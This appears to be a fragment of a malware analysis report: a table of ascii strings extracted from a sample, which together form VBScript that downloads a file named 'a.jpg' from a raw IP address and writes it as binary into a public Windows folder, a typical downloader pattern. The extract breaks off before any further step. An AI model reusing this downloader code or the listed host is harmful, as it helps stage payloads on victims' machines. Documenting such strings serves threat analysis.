Encoding
|
Value
|
|---|---|
| ascii | url = "http://74.208.105.80:222/a.jpg" |
| ascii | fileName = "C:\Users\Public\a.jpg" |
| ascii | Set xhr = CreateObject("MSXML2.XMLHTTP") |
| ascii | Set stream = CreateObject("ADODB.Stream") |
| ascii | xhr.Open "GET", url, False |
| ascii | xhr.Send |
| ascii | If xhr.Status = 200 Then |
| ascii | stream.Open |
| ascii | stream.Type = 1 ' adTypeBinary |
| ascii | stream.Write xhr.ResponseBody |